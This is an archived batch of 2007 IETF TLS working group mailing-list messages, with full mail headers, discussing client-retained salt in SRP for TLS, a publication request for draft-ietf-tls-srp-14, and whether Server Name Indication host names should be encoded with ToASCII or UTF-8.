<20070615153101.727E033C1A@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Scan-Signature: a8a20a483a84f747e56475e290ee868e Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org [FIXED TYPO] Allan wrote: [...] > I suggest allowing for client-retained salt that is not transmitted as part > of the protocol. [...] Hi Allan, I believe this is already allowed (in essence), so changes to the protocol and draft are not needed: It is perfectly legal for a client-side password-generator to combine a user-entered password with a stored, shared secret to generate the actual "SRP password" that is handed to SRP. I think this accomplishes your goal of strengthening the user-entered password with a stored secret, and is cleaner, since: - it treats the stored secret orthogonally to the SRP salt (i.e., both can be used) - it does not require protocol changes - it does not provide additional information to someone watching the network (whether a client-stored secret is in use or not) Trevor > > Those who agree with this idea can stop reading now. > > In the protocol specified by the I-D and more generally in SRP, the salt is > retained by the server and supplied to the client after the client > identifies itself. However, the salt plays no other role in the server's > actions. It isn't needed for any server computation during the protocol > proper and isn't needed in the notional registration phase when the verifier > is created by the client then transmitted to and stored by the server. > > Server-retained salt in classic SRP has the important practical advantage > that it is often easier for servers than clients to have stable storage. > However, withholding salt from servers greatly reduces (eliminates) the > threat of insider password-guessing attacks. > > SRP users likely will have passwords no stronger and no less shared among > hosts than in existing password-based systems. Given this, and that the > raison d'être of verifier-based systems is to reduce insider attacks, > client-retained salt may be appropriate for some applications. > > My shamefully perfunctory suggestions for changes to the I-D are below. > > Cheers, > -Allan > Allan M. Schiffman ams@commerce.net > CommerceNet > 169 University Ave. > Palo Alto, CA 94301 > +1.650.289.4055 > > ------------------------------------------------------------------------- > ------------------------------------------------------------------------- > Suggested changes to draft-ietf-tls-srp-13 > accommodating client-retained salt > > First, I note that client-retained salt affects the client/server initial > registration phase (outside the scope of the I-D). In the registration > protocol, the client would inform the server that it commits to retaining > the salt. > > Add to the end of section 2.2: > In a minor departure from SRP, we accommodate applications that withhold > the salt from servers by allowing for the zero-length s parameter to be > interpreted as "client-retained salt". > > Append to section 2.5.3: > The client SHOULD abort the handshake with an "illegal_parameter" alert > if it has arranged to use client-retained salt and the length of s is > non-zero. > > The first part of section 2.6 should be replaced with: > The pre-master secret is calculated by the client as follows: > > I, P = > N, g, s, B = > S = > a = random() > A = g^a % N > u = SHA1(PAD(A) | PAD(B)) > k = SHA1(N | PAD(g)) > x = SHA1(S | SHA1(I | ":" | P)) > = (B - (k * g^x)) ^ (a + (u * x)) % N > > Append to section 2.8.2: > A zero-length srp_s element indicates that the seed is client-retained. > ------------------------------------------------------------------------- > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 18:06:48 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJwN-00063W-O9; Fri, 15 Jun 2007 18:06:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJwL-0005m7-J5 for tls@ietf.org; Fri, 15 Jun 2007 18:06:45 -0400 Received: from mail-gw-old.ygnition.net ([66.135.144.21] helo=darthmail.iqcicom.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HzJwL-0006r2-81 for tls@ietf.org; Fri, 15 Jun 2007 18:06:45 -0400 Received: from [192.168.1.2] (ip139.post-street-towers.sfo.ygnition.net [24.219.24.139]) by darthmail.iqcicom.com (Vircom SMTPRS 4.4.571.23) with ESMTP id ; Fri, 15 Jun 2007 15:06:44 -0700 X-Modus-ReverseDNS: OK X-Modus-BlackList: 24.219.24.139=OK;trevp@trevp.net=OK X-Modus-RBL: 24.219.24.139=Excluded X-Modus-Trusted: 24.219.24.139=NO X-Modus-Audit: TRUE;30;-1;128289856041640000 Message-ID: <46730D73.30404@trevp.net> Date: Fri, 15 Jun 2007 15:06:43 -0700 From: Trevor Perrin User-Agent: Thunderbird 1.5.0.7 (X11/20060925) MIME-Version: 1.0 To: ams@commerce.net Subject: Re: [TLS] FWD: Suggested change to "SRP for TLS" References: <20070615153101.727E033C1A@delta.rtfm.com> In-Reply-To: <20070615153101.727E033C1A@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Scan-Signature: a87a9cdae4ac5d3fbeee75cd0026d632 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org [FIXED TYPO AGAIN, SORRY!] Allan wrote: [...] > I suggest allowing for client-retained salt that is not transmitted as part > of the protocol. [...] Hi Allan, I believe this is already allowed (in essence), so changes to the protocol and draft are not needed: It is perfectly legal for a client-side password-generator to combine a user-entered password with a stored secret to generate the actual "SRP password" that is handed to SRP. I think this accomplishes your goal of strengthening the user-entered password with a stored secret, and is cleaner, since: - it treats the stored secret orthogonally to the SRP salt (i.e., both can be used) - it does not require protocol changes - it does not provide additional information to someone watching the network (whether a client-stored secret is in use or not) Trevor > > Those who agree with this idea can stop reading now. > > In the protocol specified by the I-D and more generally in SRP, the salt is > retained by the server and supplied to the client after the client > identifies itself. However, the salt plays no other role in the server's > actions. It isn't needed for any server computation during the protocol > proper and isn't needed in the notional registration phase when the verifier > is created by the client then transmitted to and stored by the server. > > Server-retained salt in classic SRP has the important practical advantage > that it is often easier for servers than clients to have stable storage. > However, withholding salt from servers greatly reduces (eliminates) the > threat of insider password-guessing attacks. > > SRP users likely will have passwords no stronger and no less shared among > hosts than in existing password-based systems. Given this, and that the > raison d'être of verifier-based systems is to reduce insider attacks, > client-retained salt may be appropriate for some applications. > > My shamefully perfunctory suggestions for changes to the I-D are below. > > Cheers, > -Allan > Allan M. Schiffman ams@commerce.net > CommerceNet > 169 University Ave. > Palo Alto, CA 94301 > +1.650.289.4055 > > ------------------------------------------------------------------------- > ------------------------------------------------------------------------- > Suggested changes to draft-ietf-tls-srp-13 > accommodating client-retained salt > > First, I note that client-retained salt affects the client/server initial > registration phase (outside the scope of the I-D). In the registration > protocol, the client would inform the server that it commits to retaining > the salt. > > Add to the end of section 2.2: > In a minor departure from SRP, we accommodate applications that withhold > the salt from servers by allowing for the zero-length s parameter to be > interpreted as "client-retained salt". > > Append to section 2.5.3: > The client SHOULD abort the handshake with an "illegal_parameter" alert > if it has arranged to use client-retained salt and the length of s is > non-zero. > > The first part of section 2.6 should be replaced with: > The pre-master secret is calculated by the client as follows: > > I, P = > N, g, s, B = > S = > a = random() > A = g^a % N > u = SHA1(PAD(A) | PAD(B)) > k = SHA1(N | PAD(g)) > x = SHA1(S | SHA1(I | ":" | P)) > = (B - (k * g^x)) ^ (a + (u * x)) % N > > Append to section 2.8.2: > A zero-length srp_s element indicates that the seed is client-retained. > ------------------------------------------------------------------------- > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 04:20:31 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0CT2-0006bG-Lh; Mon, 18 Jun 2007 04:20:08 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0CT1-0006Zd-Al for tls@ietf.org; Mon, 18 Jun 2007 04:20:07 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0CSz-0005bQ-Gc for tls@ietf.org; Mon, 18 Jun 2007 04:20:07 -0400 Received: from esebh108.NOE.Nokia.com (esebh108.ntc.nokia.com [172.21.143.145]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5I8JpAL028287; Mon, 18 Jun 2007 11:19:57 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh108.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 11:19:44 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 11:19:44 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Encoding of data for Server Name Indication? Date: Mon, 18 Jun 2007 11:19:42 +0300 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Encoding of data for Server Name Indication? Thread-Index: AcevaN4aPDvkgsv3SsShSQtmvydaWQCFmhtA References: <200706130441.01903.bradh@kdelabs.net> From: To: , , X-OriginalArrivalTime: 18 Jun 2007 08:19:44.0781 (UTC) FILETIME=[6D687BD0:01C7B181] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Paul Hoffman wrote: > >The text in RFC 4366 isn't exactly easy to understand, but the > >answer seems to be that both work. The client can either use the > >ToASCII operation (which involves more things than just Punycode > >encoding, notably Nameprep), or just do Nameprep and send the > >resulting string as UTF-8. >=20 > I disagree with Pasi: only ToASCII makes any sense.=20 If the field can't contain anything except ASCII, then why does RFC 4366 specify UTF-8 encoding? Especially the requirement to accept e.g. U+3002 as label separator doesn't make sense if ToASCII is required... > Having the string as non-ASCII makes comparison to the dNSName > string impossible without doing another conversion. True -- but this is not specific to TLS: if we have one IDN-unaware=20 domain name slot and another IDN-aware domain name slot, comparing=20 them means some kind of conversion. =20 > RFC 4366 could have been a bit clearer. Where it says: > If the server needs to match the HostName against names that=20 > contain non-US-ASCII characters, it MUST perform the conversion=20 > operation described in Section 4 of [IDNA], treating the=20 > HostName as a "query string" (i.e., the AllowUnassigned > flag MUST be set). > it would have been better to say at the end of the sentence "and=20 > processing the labels with ToASCII in step 4". There seem to be two sources of confusion here: First, Section 4 of [IDNA] describes two different conversion operations (ToASCII and ToUnicode), and it's not totally obvious which of them is meant here... Second, "names that contain non-US-ASCII characters" can be interpreted in two different ways. It's either "character strings that contain=20 non-US-ASCII characters" or "character strings that contain only=20 US-ASCII characters, but if processed via ToUnicode, would contain=20 non-US-ASCII characters". (With the former interpretation, ToUnicode makes more sense. With the latter, ToASCII.) It seems this issue needs to be clarified in the updated extensions document (probably using RFC3490 terminology of "IDN-unaware" or "IDN-aware" domain name slot)... Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 06:27:02 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0ERi-0007NA-1c; Mon, 18 Jun 2007 06:26:54 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0ERg-0007N2-W9; Mon, 18 Jun 2007 06:26:52 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0ERf-00071x-3G; Mon, 18 Jun 2007 06:26:52 -0400 Received: from esebh108.NOE.Nokia.com (esebh108.ntc.nokia.com [172.21.143.145]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5IAQZXO010468; Mon, 18 Jun 2007 13:26:48 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh108.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 13:26:38 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 13:26:38 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 18 Jun 2007 13:26:38 +0300 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Request to publish draft-ietf-tls-srp Thread-Index: Acexkyc9ijc6uF+JQy+6eVVZ8UzT+Q== From: To: , X-OriginalArrivalTime: 18 Jun 2007 10:26:38.0888 (UTC) FILETIME=[27C50280:01C7B193] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 8f374d0786b25a451ef87d82c076f593 Cc: tls@ietf.org Subject: [TLS] Request to publish draft-ietf-tls-srp X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pasi.Eronen@nokia.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Tim, On behalf of the TLS working group, I'd like to submit draft-ietf-tls-srp-14 to AD evaluation, with the goal of=20 publishing it as an Informational RFC. PROTO Write-Up: (1.a) Who is the Document Shepherd for this document? Has the Document Shepherd personally reviewed this version of the document and, in particular, does he or she believe this version is ready for forwarding to the IESG for publication? Pasi Eronen. Yes. (1.b) Has the document had adequate review both from key WG members and from key non-WG members? Does the Document Shepherd have any concerns about the depth or breadth of the reviews that have been performed? The document went through WG last call, and although the number people who commented the technical details was rather small, I don't have concerns about the depth or breadth. (1.c) Does the Document Shepherd have concerns that the document needs more review from a particular or broader perspective, e.g., security, operational complexity, someone familiar with AAA, internationalization or XML? No concerns. (1.d) Does the Document Shepherd have any specific concerns or issues with this document that the Responsible Area Director and/or the IESG should be aware of? For example, perhaps he or she is uncomfortable with certain parts of the document, or has concerns whether there really is a need for it. In any event, if the WG has discussed those issues and has indicated that it still wishes to advance the document, detail those concerns here. Has an IPR disclosure related to this document been filed? If so, please include a reference to the disclosure and summarize the WG discussion and conclusion on this issue. This document took quite long to get finished: the -00 version was posted more than 6 (six) years ago...=20 There are three IPR disclosures that may be relevant: https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D25 https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D31 https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D63 Basically the only contentious issue was whether this should be=20 on Standards Track or not. A straw poll was held to gauge consensus; there was no consensus for Standards Track, and thus this document is now progressing with intended status of Informational.=20 (1.e) How solid is the WG consensus behind this document? Does it represent the strong concurrence of a few individuals, with others being silent, or does the WG as a whole understand and agree with it? Given the amount of comments about technical details, I'd say the interest is rather limited. (1.f) Has anyone threatened an appeal or otherwise indicated extreme discontent? If so, please summarise the areas of conflict in separate email messages to the Responsible Area Director. (It should be in a separate email because this questionnaire is entered into the ID Tracker.) Nobody has threatened an appeal or otherwise indicated extreme discontent. (1.g) Has the Document Shepherd personally verified that the document satisfies all ID nits? (See http://www.ietf.org/ID-Checklist.html and http://tools.ietf.org/tools/idnits/). Boilerplate checks are not enough; this check needs to be thorough. Has the document met all formal review criteria it needs to, such as the MIB Doctor, media type and URI type reviews? Yes. (1.h) Has the document split its references into normative and informative? Are there normative references to documents that are not ready for advancement or are otherwise in an unclear state? If such normative references exist, what is the strategy for their completion? Are there normative references that are downward references, as described in [RFC3967]? If so, list these downward references to support the Area Director in the Last Call procedure for them [RFC3967]. References are split into normative and informative; all normative references look acceptable. (1.i) Has the Document Shepherd verified that the document IANA consideration section exists and is consistent with the body of the document? If the document specifies protocol extensions, are reservations requested in appropriate IANA registries? Are the IANA registries clearly identified? If the document creates a new registry, does it define the proposed initial contents of the registry and an allocation procedure for future registrations? Does it suggest a reasonable name for the new registry? See [RFC2434]. If the document describes an Expert Review process has Shepherd conferred with the Responsible Area Director so that the IESG can appoint the needed Expert during the IESG Evaluation? Everything looks OK here. (1.j) Has the Document Shepherd verified that sections of the document that are written in a formal language, such as XML code, BNF rules, MIB definitions, etc., validate correctly in an automated checker? The only (semi-)formal language used is the TLS presentation=20 language defined in RFC 4346 (the base TLS spec), for which=20 no automated tools are available. I have checked them manually. (1.k) The IESG approval announcement includes a Document Announcement Write-Up. Please provide such a Document Announcement Write-Up? Recent examples can be found in the "Action" announcements for approved documents. The approval announcement contains the following sections: Technical Summary This document adds Secure Remote Password (SRP) based authentication to TLS.=20 Working Group Summary This document is a product of the Transport Layer=20 Security (TLS) Working Group.=20 Document Quality There are at least four implementations of earlier=20 versions of this document. (end) _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 10:55:36 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Idi-0003fR-Um; Mon, 18 Jun 2007 10:55:34 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Idh-0003fE-Kz for tls@ietf.org; Mon, 18 Jun 2007 10:55:33 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0IdM-0005vs-0C for tls@ietf.org; Mon, 18 Jun 2007 10:55:33 -0400 Received: from [10.20.30.108] (dsl-63-249-108-169.cruzio.com [63.249.108.169]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5IEt52v098264 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jun 2007 07:55:06 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: References: <200706130441.01903.bradh@kdelabs.net> Date: Mon, 18 Jun 2007 07:54:41 -0700 To: , , From: Paul Hoffman Subject: RE: [TLS] Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: 25620135586de10c627e3628c432b04a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 11:19 AM +0300 6/18/07, wrote: >Paul Hoffman wrote: > >> >The text in RFC 4366 isn't exactly easy to understand, but the >> >answer seems to be that both work. The client can either use the >> >ToASCII operation (which involves more things than just Punycode >> >encoding, notably Nameprep), or just do Nameprep and send the >> >resulting string as UTF-8. >> >> I disagree with Pasi: only ToASCII makes any sense. > >If the field can't contain anything except ASCII, then why does RFC >4366 specify UTF-8 encoding? I can't say, I wasn't an author of that document. However, ASCII is a proper subset of the UTF-8 encoding. If the RFC had specfied UTF-16, for example, that would not be the case. >Especially the requirement to accept >e.g. U+3002 as label separator doesn't make sense if ToASCII is >required... That is completely incorrect. ToASCII is applied only to *labels*, not to an entire domain name. > > Having the string as non-ASCII makes comparison to the dNSName >> string impossible without doing another conversion. > >True -- but this is not specific to TLS: if we have one IDN-unaware >domain name slot and another IDN-aware domain name slot, comparing >them means some kind of conversion. OK, so we agree here. > >> RFC 4366 could have been a bit clearer. Where it says: >> If the server needs to match the HostName against names that >> contain non-US-ASCII characters, it MUST perform the conversion >> operation described in Section 4 of [IDNA], treating the >> HostName as a "query string" (i.e., the AllowUnassigned >> flag MUST be set). >> it would have been better to say at the end of the sentence "and >> processing the labels with ToASCII in step 4". > >There seem to be two sources of confusion here: > >First, Section 4 of [IDNA] describes two different conversion >operations (ToASCII and ToUnicode), and it's not totally obvious >which of them is meant here... Yep. That's why I proposed the change above. >Second, "names that contain non-US-ASCII characters" can be interpreted >in two different ways. It's either "character strings that contain >non-US-ASCII characters" or "character strings that contain only >US-ASCII characters, but if processed via ToUnicode, would contain >non-US-ASCII characters". > >(With the former interpretation, ToUnicode makes more sense. With >the latter, ToASCII.) Fully disagree. >It seems this issue needs to be clarified in the updated extensions >document (probably using RFC3490 terminology of "IDN-unaware" >or "IDN-aware" domain name slot)... That would be best. So, implementers of RFC 4366: what have you done so far? Encoded with ToASCII or ToUnicode? --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 11:30:12 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0JBB-0005Gq-Ei; Mon, 18 Jun 2007 11:30:09 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0JBA-0005Gk-8c for tls@ietf.org; Mon, 18 Jun 2007 11:30:08 -0400 Received: from smtp.nokia.com ([131.228.20.171] helo=mgw-ext12.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0JB8-0004Tz-QP for tls@ietf.org; Mon, 18 Jun 2007 11:30:08 -0400 Received: from esebh108.NOE.Nokia.com (esebh108.ntc.nokia.com [172.21.143.145]) by mgw-ext12.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5IFTd4Z001299; Mon, 18 Jun 2007 18:30:01 +0300 Received: from esebh103.NOE.Nokia.com ([172.21.143.33]) by esebh108.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 18:29:59 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh103.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 18 Jun 2007 18:29:59 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Encoding of data for Server Name Indication? Date: Mon, 18 Jun 2007 18:29:57 +0300 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Encoding of data for Server Name Indication? Thread-Index: AcexuMFeoug6Q75PQB+YG47zkQyc9AAAq7Ow References: <200706130441.01903.bradh@kdelabs.net> From: To: , , X-OriginalArrivalTime: 18 Jun 2007 15:29:59.0003 (UTC) FILETIME=[87E22AB0:01C7B1BD] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Paul Hoffman wrote: > >Especially the requirement to accept e.g. U+3002 as label=20 > >separator doesn't make sense if ToASCII is required... >=20 > That is completely incorrect. ToASCII is applied only to=20 > *labels*, not to an entire domain name. Yes, but the whole process (going over all the labels) does include this step: 5) If ToASCII was applied in step 4 and dots are used as=20 label separators, change all the label separators=20 to U+002E (full stop). If the client does this, the server can't receive a string with U+3002 separating labels, so the requirement to accept it doesn't make sense.... Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 12:54:11 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0KUK-0002Bb-E1; Mon, 18 Jun 2007 12:54:00 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0KUK-0002BW-49 for tls@ietf.org; Mon, 18 Jun 2007 12:54:00 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0KUG-0005Xh-Ps for tls@ietf.org; Mon, 18 Jun 2007 12:53:59 -0400 Received: from [10.20.30.108] (adsl-66-125-125-71.dsl.pltn13.pacbell.net [66.125.125.71]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5IGrthN013255 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jun 2007 09:53:56 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: References: <200706130441.01903.bradh@kdelabs.net> Date: Mon, 18 Jun 2007 09:53:45 -0700 To: , , From: Paul Hoffman Subject: RE: [TLS] Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 6:29 PM +0300 6/18/07, wrote: >Paul Hoffman wrote: > >> >Especially the requirement to accept e.g. U+3002 as label >> >separator doesn't make sense if ToASCII is required... >> >> That is completely incorrect. ToASCII is applied only to >> *labels*, not to an entire domain name. > >Yes, but the whole process (going over all the labels) does >include this step: > > 5) If ToASCII was applied in step 4 and dots are used as > label separators, change all the label separators > to U+002E (full stop). > >If the client does this, the server can't receive a string >with U+3002 separating labels, so the requirement to accept >it doesn't make sense.... It's called being liberal in what you accept. There is no reason to fail for the other full-stop characters. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 12:55:52 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0KW7-0002tt-WB; Mon, 18 Jun 2007 12:55:52 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0KW5-0002tm-SD for tls@ietf.org; Mon, 18 Jun 2007 12:55:49 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0KW4-0005rW-2A for tls@ietf.org; Mon, 18 Jun 2007 12:55:49 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id C6F791F; Mon, 18 Jun 2007 18:55:46 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25619-03; Mon, 18 Jun 2007 18:55:44 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id 786EF13; Mon, 18 Jun 2007 18:55:24 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007061818552226:302550 ; Mon, 18 Jun 2007 18:55:22 +0200 Message-ID: <4676B863.5080906@edelweb.fr> Date: Mon, 18 Jun 2007 18:52:51 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Paul Hoffman Subject: Re: [TLS] Encoding of data for Server Name Indication? References: <200706130441.01903.bradh@kdelabs.net> In-Reply-To: X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/18/2007 06:55:22 PM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/18/2007 06:55:43 PM, Serialize complete at 06/18/2007 06:55:43 PM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1841443502==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============1841443502== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms010806050302040201030000" This is a cryptographically signed message in MIME format. --------------ms010806050302040201030000 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit > > So, implementers of RFC 4366: what have you done so far? Encoded with > ToASCII or ToUnicode? > our code in openssl leaves this to the application. My code for apache does nothing. --------------ms010806050302040201030000 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" 